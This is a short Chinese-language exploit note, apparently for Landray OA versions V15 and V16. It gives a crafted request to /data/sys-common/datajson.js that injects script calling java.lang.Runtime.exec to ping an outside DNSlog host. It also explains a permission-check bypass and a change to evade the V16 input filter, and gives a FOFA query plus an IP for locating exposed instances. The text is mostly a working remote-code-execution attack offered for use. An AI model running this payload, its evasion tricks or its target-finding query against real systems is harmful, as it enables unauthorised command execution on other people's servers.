新版本访问 /admin.do?method=exportModuleVersion，会返回空白页面，旧版则会导出版本文件

# V15:
/data/sys-common/datajson.js?
s_bean=sysFormulaSimulateByJS&script=function%20test(){%20return%20java.lang.Runtime};r=test();r.getRuntime().exec("ping%20-c%204%20123.ekn8d3.dnslog.cn")&type=1
## V16:

其实直接使用v16版本poc也行，都是一个意思，只是官方v16新版有过滤之类的东西，直接exec("cmd")会400状态，所以改了下poc
还有之所以改成datajson.js是为了绕过权限校验，比较奇葩，v15（https://120.79.1.7:8443），均为官方演示站点，fofa关键字 icon_hash="831854882" && "[landray.com.cn](http://landray.com.cn)"
